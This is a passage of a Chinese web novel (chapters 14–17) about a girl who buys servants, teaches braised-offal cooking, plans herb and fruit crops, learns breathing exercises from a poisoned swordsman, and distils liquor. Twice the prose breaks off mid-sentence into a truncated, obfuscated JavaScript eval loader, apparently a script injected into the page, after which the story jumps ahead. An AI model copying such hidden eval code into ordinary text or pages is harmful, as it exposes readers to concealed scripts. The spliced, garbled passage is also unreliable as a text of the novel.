六人被叫了出来，感觉十分欣喜。病老汉尤其眼中充满诧异，没想到苏云竟将他也买下了，当然，他也没说什么，只是默默听从吩咐。剩下没选中的那些人心中哀怨，有的甚至哭了起来。 交割完毕，苏云让胖妇人解开拳脚夫人的铁锁，胖妇人提醒道：“若是解开铁锁，要是发起狠来，伤了小姐，可与小店无关哦。”苏云到：“无妨，解开就是。我们既已签订契约，如若出事，算我自己的，与掌柜无涉。”于是胖妇人命人取下了铁锁。苏云让妇人抱着他的外孙，妇人有些惊奇：“你把宝儿给我，就不怕我跑了？” 苏云到：“我不曾亏待你，想你也不会这么做的。况且若是跑了，天涯海角，你自然无妨，小外孙可要跟着你受苦不是？”苏云自然不会怕的，大乾朝对逃奴惩治极严，一旦逃奴被抓，只有一死。 苏云又对胖妇人道：“还有个不情之请，想麻烦掌柜。”胖妇人道：“小姐请说。” 苏云道：“想请掌柜取两盆水，给他们略略清洗一下。”胖妇人道：“这个容易，不麻烦。”回头叫人打了两盆水来，还给了一条毛巾，一把梳子。 苏云让他们把脸和手都洗了洗，并简单梳理了一下头发，没想到小伙子还很是俊朗。完毕，苏云和王嬷嬷领着众人出来，还遇上了那个小伙计吴三保，小伙计热情打着招呼，把他们送了出去。 14. 第 14 章 14、小院晚餐 苏云出来之后，带着大家到了一个包子铺，老板见来了生意，忙道：“客官，可要吃包子？我家包子个头大，皮薄馅多，味道全县城可称第一。”苏云笑笑道：“想来各位很久都没有吃过饱饭了，先去填饱肚子吧！”众人在伢行，哪有一顿饱饭可吃？闻言大喜，都面露喜色。众人坐下，苏云叫老板赶紧上了几笼包子，每人一碗面汤。众人一阵哄抢，小外孙宝儿也吃得满嘴流油，嘴巴鼓鼓的，只有少年人和病老汉还有厨娘，还守规矩，拿起包子慢慢吃着，一看教养就不一样。 苏云细心观察，并没有言语。只见众人都吃饱了，有的还揉着肚子，脸上都露出满意的笑。于是，就带他们去了刚买的院落。 王嬷嬷打开院子大门，众人进去，以为以后要在这里安家，见里面好生破旧，许久没住人一样，不免有些疑惑。苏云道：“各位勿怕，本小姐不是苛待下人之辈，只要大家伶俐一些，听话做事，手脚干净，没有二心，我就断不会亏待了大家。这是我刚买的院落，你们也吃饱了，现在把院落打扫一下，完了我们去买新衣。” 众人一听，居然还有新衣服，都很高兴，干劲十足，好在院子里的一应物事都是有的，井里有水，屋里有盆，于是都开始打扫起来，都是苦出身，干起事情来都很利落。 苏云叫来病老汉，两人单独到角落里谈话。苏云道：“老伯贵姓？”病老汉道：“回小姐，小老儿姓林，行二。”苏云道：“原来是林二伯。”病老汉忙道：“不敢，小姐唤我林二就行。”孙云道：“那就叫你林二伯好了。林二伯，我知道你不是常人，想必身怀绝技，应是一代大侠。”林二大吃一惊，没想到小姑娘看穿了自己，怕不是仇家追踪过来的？眼光立时变得狠厉起来。苏云猜到了她的想法，也有些打鼓，但仍笑道：“我并非什么仇家寻仇，林二伯请放心。只是自小就喜爱江湖游侠的传说，心向往之，不曾想今日真的能遇到林二伯这样的大侠。林二伯气度不凡，与常人不同，伢行其实困不住你，你应是有什么缘故，不想离开而已。个中原因，林二伯不说，我也不会打听。我看你脸色，莫不是中了什么厉害的毒？”林二见她说得诚恳，才放松了一些道：“小姐慧眼，正如小姐所言，确实中了毒，区区伢行，自是拦不住我，不过是找个地方疗伤而已，哪里都一样。” 苏云道：“虽能看出中毒，我也不清楚是什么毒，也不会治。我把你买下，唯恐折辱了大侠威名，真心有些唐突，只是心喜练武之人，并不敢真要把你当佣人驱使。你若想走，我绝不拦你，随时可离开，身契也给你，只求与你结个善缘；若你想清静疗伤，不嫌弃的话，可在这院子里自行居住，我给你银两，衣食自是无忧；若是不方便，也可以随我回柳河庄。三个选择，林二伯可自行决定。”林二自觉经历颇丰，也第一次看到苏云这种人，大度善谋，常年在江湖刀口舔血，心里多少也有些温暖，道：“现下也没什么可去之处，若小姐不嫌弃，就跟着小姐吧，若遇凶险，还可应付一二。”苏云大喜：“那就太好了，现下就这样，以后林二伯想去哪里，随时都可以。”说完，掏出身契，递给林二，林二不接，道：“既是小姐花钱买的，自然应该小姐拿着。”推辞几番，苏云只得收下。 一个时辰后，院子打扫干净了，虽谈不上窗明几净，着实顺眼了许多，住人应该没有了问题。苏云道：“今日大家辛苦，这就去成衣铺。”一行人去了成衣铺。成衣铺伙计见这么多人过来，唬了一跳，不过去也没多想，满脸堆笑迎了上来：“客官这是要买成衣？”苏云道：“小二哥好，我们进去看看。”小二看几个人衣衫褴褛，像叫花子一样，本不想招呼，但看苏云王嬷嬷还算得体，也不敢造次，领着众人进店。 苏云四下看看，在中下等级的衣服里打转，问问价格，感觉能够承受，就对众人道：“喜欢什么样式，就在这里各自选一套吧。对了，宝儿衣服容易脏，要两套，别忘了。”众人大喜，会拳脚的妇人更是欢喜，连声道谢，就各自选起自己的衣服来，小二脸上堆满笑，一个人忙不过来，又叫了两个伙计帮忙。苏云也让王嬷嬷自己选了一套，也帮娟儿和梁莺选了，当然，他们的布料明显要好些。总之店里忙碌异常，一片喜气洋洋。 苏云见大家选好了衣服，就道：“大家先把衣服拿好，回去沐浴之后再换上。”众人均点头称是。苏云又扯了几匹布，让王嬷嬷拿着。找了一个茶摊，让大家坐下，老头送上一壶茶。苏云到：“老板，请问这附近有没有酒铺？”老头笑道：“客官，转过街就有本县最大的酒铺。”苏云道：“谢了。”苏云让阿牛和小伙子把衣服放凳子上，跟着自己走。 到了酒铺，顾客不少，看来的确是好酒，生意兴隆。见酒保稍空了些，苏云问道：“小二哥，请问贵店有些什么好酒？”酒保笑道：“想是客官第一次来，我家的酒都是自家酿的，销量最好的是雪里柔，香软绵长，一坛五十文；最便宜的是口里乐，一坛二十文；最贵的是十里香，一坛一两银子。还有几种，都是五十文以上的。”苏云道：“可否都尝尝？”酒保笑道：“那是自然，请稍候。”说着拿了一个托盘，转过身开始舀酒，一会儿转身过来，托盘上摆了四五个杯子，还有两个小碗，每个杯子里都装有白酒，一个碗里装满清水，一个空着。酒保端起一杯，笑道：“这个是口里乐。”苏云浅尝一口，味道有些涩，度数也不高，应该是那种大众酒。苏云摇摇头，没有吭声，端起装水的碗，轻抿一口，然后吐在另一个碗里；酒保一看是个行家，忙又端了一杯，苏云接过，酒保道：“这杯是梨花酿。”苏云抿了一口，度数也不高，不过口感的确比刚才好了很多；苏云漱了口，酒保又端起一杯道：“这是雪里柔。” 苏云逐个品尝完毕，能感觉到这个时代并没有高度酒，刚才品尝的酒水度数不会超过二十度，水味较多，远远谈不上醇厚。问道：“我比较中意雪里柔和伊人醉，如果多要点，可否便宜则个？”酒保道：“敝店明码标价，童叟无欺，一小坛就是不二价。”苏云道：“我要两大坛呢？”酒保看了看墙角的一排大瓮，心想遇到了大客户，道：“我这就去找掌柜来谈，客官稍候。”说吧，上二楼去了，一会儿，带着一个胖胖的中年男子下来，胖胖中年人一见苏云，惊诧只是个这么小的女孩，当下满脸堆笑：“鄙人是酒铺掌柜，请问小姐是要买酒？” 苏云道：“掌柜好，我买两大坛酒，想和掌柜商量价格。”胖掌柜道：“小姐能看上敝店的酒，是我店的荣幸。不知道小姐要哪两种酒？”苏云道：“雪里柔和伊人醉，各要一大坛。另外还要十坛小的雪里柔。不过要请掌柜送到城门口。另外，还需掌柜开具酒水的收据。”掌柜笑道：“好说好说，小姐这边请，我们慢慢谈。” 谈好价格，付了款，带二人去了香料店买了香料，还有一些调料在药铺才找到，买齐后，给小伙子拿着。又带两人去了肉铺，买了十斤猪肉，两大块板油，肉摊老板见苏云出手大方，主动送了两付下水，结果全都挂在了阿牛身上，阿牛平时干惯了重活，并不觉得重，刚才包子管够，身上有力气，却笑呵呵的。 看看采购的物事差不多了，路上顺道买了一朵绒花，三串糖葫芦，带着两人回到茶摊，给了小孩子一串糖葫芦，小孩子高兴地伸出舌头就舔，叫上众人，一起走到城门口，东西太多，人也多，于是租了一辆牛车，再让小伙子去酒铺，把酒送过来，把购买收据给了苏云后，就出发回到柳河庄。 路上各人做了自我介绍，小伙子姓黎，名大为，以前是一大户人家公子的书童，因为长相俊俏，聪明伶俐，公子嫉妒，不受待见，寻个错把他发卖了。会拳脚的妇人姓李，人称李三娘，则是女儿女婿都已去世，留下个小外孙，主家想把小孩子送人，妇人不允，结果被打了一顿，发卖出来，伢行也想把小孩子送人，伙计被妇人打伤，所以给她戴上铁锁。怕妇人自杀或者以后寻仇，倒也没有再把小孩子送人。病老头只说自己姓林，身体不好，众人也不好多问，至于阿牛和厨娘，大家都知道了，也就没再多说。 苏云道：“人活在世上，苦命人多。不过既然大家聚在一起了，以后就要相互帮衬。大家跟着我，一心一意，不得有半分背主之事。肯吃苦，只要有我一口吃的，断不会让大伙饿着冻着。以后若有要丧葬嫁娶的，我也会给他操办，大家的日子，并不会比庄户差。当然，若是心生歹念，偷奸耍滑，吃里爬外的，我也不留着，打个半死再发卖出去。”虽然是童声童气，但话中深意，众皆凛然。 牛车到了柳河庄，众人看着石桥，水车，都很惊叹，庄户们正收工回家，见到一车人货，都惊奇不已，纷纷驻足围观。到了小院门口，娟儿和梁莺早在门口候着，见牛车上那么多人和货物，都吃了一惊。苏云给了他们绒花和糖葫芦，让他们帮忙取小东西，再让王嬷嬷带他们把货物放在新修的院子里面，把众人住宿安排妥当，男子住在西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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苏云举起杯来：“俗话说，家事不外传。以后我们家还有很多事，不能让外人知道，需严格保密。若是泄露了出去，不管是有意也好，无意也罢，凡是多嘴的，全都打个半死发卖出去。有些事就是你们，也只有其中一两个人知道，所以最好不要随便打听，免遭无妄之灾。”语音狠厉，毫不容情，众皆赫然，顿了好一阵才道：“绝无二心。” 苏云举起杯：“此话只是警醒大家，只要不犯事，万事都好说。好了，不再多说，把这杯干了。”众人举起杯，一饮而尽，只有娟儿和梁莺呛得直咳嗽，满脸通红，惹得大家哄笑起来，大家高兴得吃喝起来。 酒过三巡，苏云叫梁莺和娟儿搬出古琴，让梁莺弹奏一曲。梁莺有些羞答答，放不开，苏云暗暗鼓励她，这才坐下来，弹奏了一区《茉莉花》，下面大多都是粗人，哪里听过这种曲子，纷纷叫起好来。 梁莺兴奋得满脸通红，苏云也看向她，轻轻拍起手来。苏云朝大家笑道：“莺儿的琴声可好听？”众人大喊：“好听。”黎大为道：“余音绕梁，三月不知肉味。”众人也不太听得懂，反正是说好就行。 其实梁莺的琴声也只是刚学不久，仗着自己喜欢，又天赋高，只是能够弹曲成调而已。今天让她弹，其实就是为了增强她的自信。果然，听到大家的叫好声，莺儿心里乐开了花，小女生的虚荣得到了极大满足，不由得信心倍增。苏云道：“莺儿，再来一曲。”梁莺点点头，又弹了一曲《雪绒花》，大家又纷纷称赞。黎大为站起身来道：“莺儿妹妹弹的曲子往日并未听过，却甚是好听，尤其是第二首曲子，角音和徵音之间似乎还有一个音，不似大乾本土音律。在下也曾在公子学习时，练过两天，今日大家欢聚，不知可否也弹一曲，为诸位助助兴？”苏云笑着点头，黎大为离开座位，莺儿站起让开。 黎大为坐定，神色一下子严肃起来，右手轻轻一拨，悦耳的琴声随手荡漾开来。然后开始弹起来，也不知是什么曲子，初听琴声有些哀怨，似诉平生遭际可叹，继而琴音转得急促，继而昂扬，又似抗击不公命运，大家都沉浸在琴声里，突然一声裂帛之声，戛然而止。好一阵，大家才猛然叫起好来。 苏云也有些呆怔，没想到黎大为竟有这般琴技，再看看那张俊朗的面庞，心想难怪原来的公子会嫉妒他。见气氛有些不对，苏云忙打圆场：“大为的琴技甚是难得，以后还要让他多给大家弹弹。大家继续吃喝。”众人又高兴起来，继续吃喝。 苏云坐了一会，说了几句，就先离席回到房里，王嬷嬷和娟儿梁莺也赶紧起身跟随。 15. 第 15 章 15、香香的卤菜 次日一早，锻炼完毕，吃过早饭，苏云叫来黎大为和阿牛，带上会拳脚的夫人李氏，李氏的外孙宝儿，林二伯直接接过去照看。林二伯甚是喜欢小孩子，宝儿不久也和他亲近起来。四人拿了些吃食，一起出去爬山。 四人先去了猫儿山，再去秃头岭，草帽山、石头山和小雀山，依次转了一圈，中午都没有回去，随便对付了些吃食。直到下午转完，这才回到家里。 回到小院，里面是叽叽喳喳的女子声，循声看去，原来是杨氏带着大家在学刺绣，想是时间长了，大家有些累，休息一会。杨氏见苏云进来，忙迎了上来：“龙女来看看？”苏云道：“有事想麻烦杨婶子。”杨氏道：“龙女请吩咐。”苏云道：“婶子也看到了，昨日我这小院添了不少人，想请婶子帮他们每人做一身夏服，布料我出，做工按市价即可。”杨氏道：“我道何事，这点小事，不足挂齿，举手之劳，不需酬劳。稍后就去跟他们量身。” 苏云随便在教室里走动，姑娘们见苏云走过来，都各自噤声，不再嘻闹。苏云随手拿起她们的手帕看看，并不作声。这还没几日，有的刺绣粗糙，有的已有点模样了，看来每个人资质的确不同。 苏云出得教室，厨娘过来问道：“小姐，昨日在城里买肉，还剩两付猪下水，天气热，我怕发臭，都用篮子掉在水井里，虽可放一阵，却也不可长久。该如何处理？说来汗颜，老身以前并未做过。”苏云道：“无妨，我做给你看看，你先去把下水清洁洗净，我也准备一下。” 苏云走进厨房，找到香料包，按照大致比例调和，弄了三份，找干净的布包了三份，叫来阿牛，让他把包里的香料打碎磨成粉，重新包起来，套紧，吩咐阿牛不能告诉别人。拿出一包，把余下的两包香料放在一个小柜子里面，上锁。 院子里，厨娘正卖力搓洗着肥肠。苏云过去，让厨娘拿了一些面粉，教她如何清洗，很快清洗干净，没有了臭味。肥肠是干净了，但厨娘有些可惜，这么好的面粉，就拿来洗肥肠了。 苏云看出来了，笑道：“用面粉洗，确实有些浪费，以后可以准备一些明矾，也是一样去味的。” 来到厨房，在大锅里掺水，然后放进调料包、猪下水，加了酱油加了盐，一起开始煮，不久，卤水的香味就飘出来了。厨娘惊道：“这是卤味，以前也闻到过，只是差了很多，远没有小姐调制的香。”苏云暗笑：“那肯定是香料不齐整，比例也不合适。”那时的香料很有限，大部分香料，其实都归纳到了药铺里面了，所以很多人想不到可以用来烹饪。香气越来越浓，教室里面的绣女们都被吸引出来了，跑到门口好奇朝外面张望。 厨娘捞起下水，苏云让她切成小块，装了一碗，拿上两双筷子，给绣娘们送过去。姑娘们早就耐不住了，纷纷跑过来，拿起筷子依次品尝，都觉得异常好吃。这些姑娘平时在家荤腥都沾不上，能吃到这个，自然特别好吃。苏云笑着问：“你们吃出来是什么了吗？”姑娘们摇摇头。苏云到：“这是猪下水。”姑娘们大惊：“不是说下水腥味特别重，不好吃，咋这个没有腥味呢？”以女子说：“可不是，记得去年俺娘也做过，又腥又臭，家里人都不喜欢吃。” 苏云笑笑，转身对厨娘说，应该还有一些肉，你也可以按照这个方法再煮一锅。那个调料包，可以用三四次，三四次之后就要换。酱油和盐，每次都要放一点，上好色入味。 苏云回到房间，这才坐下舒了一口气。娟儿端上茶，喝了一口。吩咐娟儿：“你去看看庄头在不在家，让他来一趟，我有事和他商量。” 很快，娟儿把庄头带来。庄头见过礼，苏云让座，娟儿上茶。 庄头道：“不知龙女唤在下来，有何事？”苏云道：“这些天有些想法，想与庄头商量。”庄头道：“龙女请说。” 苏云道：“柳河庄一旁的猫儿山等五座小山，我都已经将它们租下了。”王嬷嬷听得一愣，却没有作声。苏云继续道：“这一租可是二十年，想听听庄头有何想法，把他们盘活？” 庄头道：“那五座山我们倒是常去，山不高，也不大，至于能做什么，倒也没什么想法。”苏云道：“上午我去看过，就是建桥之时，猫儿山取了一些石材，显得有些乱，其余四座山倒是植被茂盛。柳河庄旁柳河绕庄而过，空气潮湿，阳光也充足，此种地方，尤其是小雀山，虽不高大，却不知哪里冒出来一股泉水，最是适合种植一些药材，比如石斛。” 庄头被唬了一跳：“种植石斛？石斛可是灵药，常年长在深山，生长极为不易，采摘也异常艰辛，这等灵药，也可种植？”苏云道：“石斛、人参、灵芝，既然都是土中长出，当然也可以种植。只是生长条件苛刻，生长不易。我的意思，何不找个有经验的药农，先来看看，适合种什么药材再做定夺？” 庄头道：“这样最是稳妥。” 苏云又道：“也不是都适合种药材，我看留下小雀山即可，其它山可选一座山种树，不拘桃树、梨树、杏树，最好再有一座山用来种植葡萄，以后可用来制作葡萄酒。若有人愿承包，须得注意选好的树种。剩下的可以种花卉，玫瑰、蔷薇、茉莉，只要香气浓郁的花卉即可，不用担心收益，只要花瓣确实不错，全部可由我收购。” 王嬷嬷端了一碟卤肉上来。苏云道：“这是我今日捣鼓的一种新吃食，卤肉，张叔请尝尝看。”庄头拿起筷子，吃了一口，又夹了一块肥肠放到嘴里，放下筷子，赞道：“的确新奇，出奇的香，以前都没有吃过这种口味的。后面这是什么，绵软却又有嚼劲，很是奇特。” 苏云道：“这是肥肠，就是猪大肠。”庄头奇怪道：“猪下水？怎么可能，猪大肠没法清洗干净，总有一股子臭味，大家都不爱吃，肉铺都常把它用作添头用。若非确实贫困之家，都不愿做这种吃食的。” 苏云道：“这就是我说的第二件事，我想把这个方子教给大家，让猪大肠不留腥味，你可以问问庄户，可否有人愿意做这个吃食到县城去售卖。此香料不仅可以卤制肉食，亦可卤制豆腐干，也算是一个小本生意。不过中间的调料方子却是保密的，若是要做这个吃食，需在我这里买香料，一则香料着实有些昂贵，二来最主要还是，自己花钱的东西才会知晓不容易。”庄头道：“此是好事，待会就去找管事们商量。” 苏云道：“我记得前些天有人要做豆腐，不知现在怎么样了？” 庄头道：“是张老头家，他们父子的豆腐是爷爷辈传下来的手艺，前日就已经去城里售卖，听说生意不错。我们每十日就要交一成利润，到时就能知道具体情况了，另外养羊的庄户也贷款买了七八只羊，每天让家中孩子赶到猫儿山去放羊。” 苏云道：“有两个事还要请教庄头。”庄头道：“不敢，龙女请说。”苏云道：“张叔年长，阅历丰富。请问顺流柳河，是个什么情况？”庄头道：“年轻时也曾顺流去过几次。柳河乃是青龙江的支流，大概需一日，即可进青龙江。青龙江上游是潭州，下游是闵州，沿途有好几个县的码头，虽不是十分繁华，却也人烟稠密。” 苏云道：“这样挺好。若是船顺流而下，回来是不是很不方便？”庄头到：“需得有纤夫，若是空船还好说，若是装满货物，则很是吃力。龙女可是想用船运货？”苏云道：“有此想法，只是柳河不宽，船舶应该不大，想来不会太难。算了，这个还早，暂时不想了。” 苏云轻抿一口茶，缓缓道：“还有一事请教。不知附近可有烧制陶瓷的作坊？”庄头想了想，道：“记得杨家村以前有一个陶窑，做出的陶瓷在不止在临清县有些名气，附近州县都来订 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黎大为祖上为四品官员，在朝为官，因当庭出言不逊，惹得龙颜大怒，被抄家，贬为庶人，昔日亲友避之不及，生活困顿，又因仇人设计陷害，趁祖母大病，借下了高利贷，最终无法还清，祖父母去世。父亲本就是个不务正业的人，家败后更是一蹶不振，整日只顾喝酒，醉酒后就骂老天不公，对妻子拳打脚踢，母亲也气病而死。后因债务催逼，只得卖掉儿子偿还债务。 当时黎大为只有五岁，因长相清秀，聪明伶俐，从小受过良好教育，被一有钱人家买去当养子，最开始过得还不错，没想到那家人后来生下了儿子，对他的态度立马就变了，从一个少爷变成了下人，赶到柴房居住，每天干不完的活，非打即骂，经常饿肚子，受尽侮辱，连下人也常辱骂他。有一天晚上实在饿得睡不着，到厨房偷了一个馒头，被抓住后痛打一顿，发卖了出去。以后又被买卖过几次，遭遇颇是不堪。最后被一家人也是买他去做书童，没想到那家公子很是蠢笨，不喜读书，往往是先生授课，公子没有搞明白，倒是黎大为学了个清楚。公子成绩一塌糊涂不说，还心胸狭窄，嫉妒黎大为，经常打骂他。一次酒后，竟想要□□黎大为，黎大为不从，挣扎中打伤了公子。主家一怒之下，也是将他暴打一顿后发卖了出去，这才遇到了苏云。 苏云听罢，也是一阵叹息。沉默了一会，道：“那你今后有何打算？”黎大为道：“能遇到小姐，是在下的福气，只要能为小姐做事，心满意足，并无他求。”苏云道：“身为男子，又天赋甚高，绝非池中之物，他日定有所成就。一辈子做下人，岂非辜负了上苍。我这里为你准备了两个选择，你可愿意听听？”黎大为道：“愿听小姐安排。” 苏云道：“看你资质甚佳，也有文字基础，若是你愿意，我便为你延请名师，日后可走科举之路，也可重新恢复你黎家门楣。至于科考身份，不用担心，我会送还身契给你。你看如何？”黎大为拒绝道：“祖父也算一名高官，在朝中也是朝不保夕，下场却又如何？在下对官场实无一点奢望。” 苏云道：“好，天下男子，若不为官，那便考虑经商之道。只是商贾自古地位地下，你可愿意？”黎大为道：“商贾地位虽低，倒也不用担心吃穿，在下愿意的。” 苏云笑道：“只是吃穿的话，格局太小，日后的事情，谁能说得清楚。既然愿意经商，日后我会给你安排不少事情，只要你做得好，余生无需担忧。” 说完，取出几张纸和一包铜板，王嬷嬷接过递给黎大为。苏云道：“明日你带着阿牛进城，帮我取这些预定的物件，再去药铺买一些硝石回来，另外，尚有一些事情需要你打听，哪里可寻到经验丰富的药农，还有城中的花木情况、洗涤衣物的皂角用品等等，还有绣房的一些情况。你心细，这些繁杂的事情交给你，我放心。回来之后，还有事交代你做。” 16. 第 16 章 16、檀云功法 早上，苏云照样早起，在院子里跑跑跳跳，练习掷石子。刚练习不久，就见房顶山跳下来一人，正是林二伯。苏云赶紧施礼：“是不是吵到林二伯？”林二伯道：“那倒没有，人老了，睡不着，听见有动静，就过来看看，昨天也见你在练，你每天都这样？”苏云道：“正是。” 林二伯道：“也难为你一个大小姐了。昨日我就看你练习，你的功夫对付普通人还是挺实用的，刚才看你的架势，以前都没见过，有什么说道？” 苏云知道他说的是空手道，便道：“名为空手道，相传来自东瀛，主要是近身搏击所用。”林二伯道：“我们比划一下。” 苏云知道这是林二伯有心指点自己，早就等这一天了，于是摆出架势，林二伯脚步轻移，轻飘飘打出一掌，苏云微一侧身，左手格挡，再略转身，右腿飞出，踢向林二伯，谁知却踢了一个空，肩膀上去被林二伯从后面轻轻拍了一下。苏云站立不住，退了好几步才稳住。 苏云脸上泛红，赶紧作了一礼。林二伯思忖道：“看来空手道也确有自己的奥妙，近身肉搏有其优势，只是你年龄太小，没有内力，速度和力量都跟不上，展现不出它的奥妙来。”苏云一听，以前看的武侠小说中，都是武林高手内力强大，摘叶飞花，皆可伤人，自己是不信的，一直认为只是小说而已，没想到真有内力这种东西。而且刚才林二伯转到自己身后，速度奇快无比，应该也是有轻功的。 林二伯又道：“相比之下，你的小石子还不错，准头极好，还是力道和速度差了些许。” 苏云面色诚恳道：“还请林二伯指点。”林二伯道：“你若真心想学，倒亦无妨，要想在力道和速度上有所提高，就得有内力，我可先教你个呼气吐纳的法子。”苏云大喜，连声称谢。 林二伯从怀中掏出几页纸，递给苏云，道：“这是入门的呼气吐纳之法，你可自行照着练习，有什么不清楚的，可随时问我。只是有一点须知，不可让外人知晓，熟记之后须得烧掉。” 苏云知道古人对自己特有的秘方都是传媳不传女的，就是怕秘方外传。像苏云这样动不动就把方子免费给别人，在当时看来，完全是个大冤种。其实苏云也不是大善人，她能传出去的方子，在她眼里，都是不值钱或者自知不能保存多久的，真正赚钱的方子，她才不会泄漏出去。 苏云接过，躬身一礼，问道：“不知这两日过得可还好，中的毒怎么样了？”林二伯道：“甚好，所中之毒，只能靠内力一点一点逼出，急不得。院子里人多，伙食也好，大家相处和谐，又有宝儿，好生可爱，倒让人生出几分天伦之乐来。”苏云心想，林二伯在江湖上虽然威风八面，应该过的都是刀头舔血的日子，想来仇人也多，现在躲在这里疗伤，确实是难得的安宁日子。 林二伯顿了顿，有点不好意思：“若硬要说有什么不足之处，就是每天想要喝上几杯。”苏云一笑：“林二伯何不早说。这是小事，这两日你可先喝雪里柔。并非不给林二伯伊人醉，实是这两日还要用到它，若是弄好了，还有更好的酒，到时先给林二伯尝尝鲜。” 听到有好酒，林二伯眼里放光，口中却道：“雪里柔就挺好。”心里却在盼着苏云赶紧弄出新酒来。 林二伯不好久呆，转身跃出了小院。苏云也着急看看纸张上面的内容，不再练习，回到了房中。见王嬷嬷已经起来，就让她抱了两坛酒送给林二伯。 苏云见没人来，就将纸张打开，只见第一页上面写着：檀云功法。 往后看，里面有文字，有画图，都是标明人体穴位位置，教导如何呼吸，如何运用意念，气息在身体里游走的感受等等。苏云看罢，记在心里，收好纸张，端坐在床上，开始打起坐来。 王嬷嬷回来见苏云坐在床上打坐，轻轻关上门，让娟儿和莺儿都不要瞎闹。直到苏云打开房门，王嬷嬷和娟儿才将早饭端来。 不久，庄头求见，言道有四家庄户愿意做卤肉的生意，想来看看卤肉怎么制作。苏云就把他们推给了厨娘，让厨娘去教他们。 庄头又说起承包荒山的事情，已经落实下去。苏云对庄头的效率还是很满意的。 快到晚饭时，黎大为和阿牛扛着大包小包才回来，阿牛直接将那些大的物事拿到库房，让王嬷嬷登记造册，黎大为则拿着项链来见苏云。 苏云接过项链，只见石子做的项链，色泽艳丽，光润可爱，也没多说话，放在了一边。 黎大为道：“按照小姐吩咐，小姐在铁匠铺定的物事已经拿到库房了，小姐要不要检查一下？” 苏云道：“不急，你且说说城中的见闻。” 黎大为道：“按照小姐吩咐，我们先去珠宝店取了项链后，就开始在城里打听小姐交代的事情，药农没有打听到，药铺老板嘴巴像缝了针似的，绝不吐口药材来源，花木倒是打听清楚了，果树，花草比较多，详细的我都记下了。洗衣服的状况也基本清楚，家境稍好的基本都用皂角，贫苦人家都是清水洗的，皂角大多是自己种的，当然也有卖，不值钱。至于绣房的情况，男子不能随便进入，也就在外面打听了些，打听的事情也记下了。下午看事情打听的差不多，就去药铺买了硝石、香料，买了几大包，硝石在药铺所用不多，备货比较少，我走了几家药铺，才买了一袋，不知够不够。又去铁匠铺取了定制的物事，幸好有阿牛同去，不然还真不容易带回来。这是一些果木花木情况，还有账单，请小姐过目。”说罢，掏出一张纸，递给了娟儿，娟儿接过，给了苏云。 苏云展开，仔细看了起来，字体流畅，虽不是尚佳，倒也工整，记载很是详实，比如花木的品种，价格等等，应是费了不少心思。 苏云道：“今日你和阿牛辛苦了，待会儿就吃晚饭，你们可早点歇息。明日还要你们去杨家村一趟。此事我已经和庄头说好，饭后你去找一下庄头，让他找一个庄户带路， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安排完毕，见屋里不再有外人，娟儿和莺儿这才上来，眼光灼灼盯着桌上的项链。苏云会心一笑：“两只花猫，等多久了？”说着，按照长短递给了她们，二女高兴得没来得及细看，直接戴到了脖子上，项链色彩艳丽，光润饱满，越发显得两个小女生俏皮可爱。苏云赞道：“两个小仙女。”莺儿想往外跑，被苏云叫住：“皮猴子，把嬷嬷的带上给她。”莺儿拿了就往外面去了。 苏云这才拿着自己的项链试了试，戴在脖子上，娟儿拿来铜镜，苏云照了照，还挺合适。苏云上次在城里差点吃亏，幸好当时旁边有一堆小石子，不然肯定要被强掳，现在想想，还有些后怕。这串项链，初衷并不是为了显摆，平时可以戴着，做做装饰，关键的时候，也可以扯散作为武器用的。至于收的石子，这些天来卖石子的越来越少了，想是原料已经不多，现在戴出去，即使庄户们知道，应该影响也不是很大了。 吃过晚饭，苏云教娟儿和莺儿识字弹琴，也是其乐融融。等她们都安歇后，自己却在床上打坐，开始练习起檀云功法来。 17. 第 17 章 17、蒸馏白酒 次日早上，苏云并没有出去锻炼，而是起来打坐，按照檀云功法的步骤，练习呼吸、运转气息，结果并没有什么感觉，不知道是不是什么地方没有理解对，不过她也知道，功法岂是一蹴而就的，自己也不是什么绝世天才，只能慢慢来，自然有水到渠成的那一天。 吃过早饭，黎大为带了一个庄客来告辞，接着阿牛和林二伯也来告辞，苏云嘱咐了两句，就让他们走了。 苏云叫来王嬷嬷，两人悄悄去了西院，嘱咐娟儿和李三娘看好门户，不要让人来打搅。二人在西院库房开始拼装蒸馏设备，蒸锅三分之二处，放了一个铁制凹槽片，凹槽链接蒸锅外的一个小铁管，铁管下面放着一个约莫五斤小的空酒坛。蒸锅顶上也放了一口锅，里面装满凉水。弄好后，又打开伊人醉大酒坛，一瓢一瓢舀到蒸锅里，差不多一半的时候就开始点火蒸起来。 古代的蒸馏很简单，其实就是利用水和酒精的沸点不同，将水和酒精分离，从而达到提纯酒精的效果，上面的锅里的冷水，其实就是用来冷却酒精蒸汽的。如果控制不好，还要经过多次蒸馏。 王嬷嬷烧了一会火，只见小铁管里面就开始滴水了，一滴一滴，最开始比较慢，接着就要稍微快了一些，像就开始蔓延开来。王嬷嬷吸了吸鼻子，叹道：“好香的酒。” 苏云紧盯着上面锅里的冷水，看看温度上来了，就和王嬷嬷，一个人将热水舀出，一个人将冷水添进去，让锅里的水始终保持较低的温度。 就这样，过了不久，小酒坛装了半坛酒，酒香四溢。苏云见差不多了，就让王嬷嬷将蒸锅里面剩下的水倒在一个空罐子里，这些大部分是水，也许还有一点酒精在里面，所以先留下，等空了还可以再蒸馏，不能浪费了。 